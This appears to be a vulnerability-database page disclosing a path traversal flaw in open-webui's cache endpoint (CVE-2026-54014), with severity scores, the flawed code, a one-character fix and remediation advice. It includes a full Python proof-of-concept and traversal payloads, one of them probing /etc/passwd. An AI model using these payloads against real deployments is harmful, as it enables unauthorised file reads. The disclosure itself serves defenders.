Skip to main content

open-webui EUVDEUVD-2026-38528

| CVE-2026-54014 MEDIUM
Path Traversal (CWE-22)
2026-06-17 https://github.com/open-webui/open-webui GHSA-j2c8-v969-8r5c
4.3
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
Share

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
vuln.today AI
4.3 MEDIUM

Network-accessible HTTP endpoint (AV:N), low-privilege auth required (PR:L), confidentiality limited to cache-prefixed sibling directories (C:L), no write or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorVendor: https://github.com/open-webui/open-webui

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 18, 2026 - 01:50 vuln.today
Analysis Generated
Jun 18, 2026 - 01:50 vuln.today

DescriptionCVE.org

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) - without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed - limited to sibling-prefix directories.

Exploitation constraints

ConstraintDetail
Auth requiredget_verified_user - any user with role user or admin
ScopeOnly sibling directories starting with cache (e.g. cache_backup, cached_models)
Deep traversalBlocked - ../../etc/passwd correctly fails the startswith check
Absolute pathsBlocked - /etc/passwd correctly fails
Client normalizationhttpx/browsers normalize .. client-side - must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve_cache_file()

python
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
# prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):
# ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

python
CACHE_DIR = "/data/cache"
# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")
# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

ComponentDetail
open-webui0.9.5 (pip installed)
Python3.11
Importfrom open_webui.main import app (true import, real FastAPI app)
MethodRaw ASGI request (bypasses httpx client-side .. normalization)

poc.py

python

import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />

Suggested Fix

python
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

AnalysisAI

Sibling-prefix path traversal in open-webui 0.9.5 and earlier allows any authenticated user to read arbitrary files from directories adjacent to the configured cache directory, provided those directories share the string prefix 'cache' (e.g., cache_backup, cached_models). The flaw exists in serve_cache_file() at main.py:2914, where a missing trailing path separator in the startswith boundary check causes os.path.abspath() to validate resolved sibling paths as if they were within the cache root. Publicly available exploit code exists in the GHSA advisory (PoC confirmed against open-webui 0.9.5 via raw ASGI delivery); no confirmed active exploitation (not in CISA KEV) at time of analysis.

Technical ContextAI

The vulnerability resides in the FastAPI-based serve_cache_file() function handling GET /cache/{path:path} in open_webui/main.py (lines 2907-2924), affecting the pip package pkg:pip/open-webui up to version 0.9.5. Python's os.path.abspath() canonicalizes traversal sequences in the user-supplied path before boundary validation - correctly stripping deep traversal - but the subsequent guard uses Python string prefix matching (str.startswith) rather than true path-component comparison. Because CACHE_DIR resolves to a string like /data/cache, any sibling directory whose name starts with 'cache' (e.g., /data/cache_backup) will produce a resolved path string that also starts with /data/cache, satisfying the guard incorrectly. The correct fix is to append os.sep to the prefix, ensuring that /data/cache/ (with trailing slash) is matched rather than the bare /data/cache string. CWE-22 (Path Traversal) is the root cause class; specifically the 'incomplete denylist via prefix match without separator' variant. Standard HTTP clients and the httpx library normalize .. sequences client-side, so exploitation requires delivery via raw HTTP or ASGI to preserve the traversal component.

RemediationAI

Upgrade open-webui to version 0.9.6 (vendor-released patch: 0.9.6), which corrects the boundary check in serve_cache_file() at main.py:2914 by appending os.sep to the startswith prefix - changing file_path.startswith(os.path.abspath(CACHE_DIR)) to file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep). See the advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c. If immediate upgrading is not feasible, eliminate any directories adjacent to CACHE_DIR whose names begin with the string 'cache' (e.g., cache_backup, cached_models) - this removes the exploitable prefix overlap entirely but may require operational changes to data layout. As an additional layer, configure a reverse proxy (nginx, Caddy) to reject GET /cache/ requests containing encoded or literal .. sequences before they reach the application; note this control can be bypassed if the proxy normalizes paths before matching, so it should not be treated as a standalone fix. No side effects are expected from the one-character patch (appending os.sep).

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

EUVD-2026-38528 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy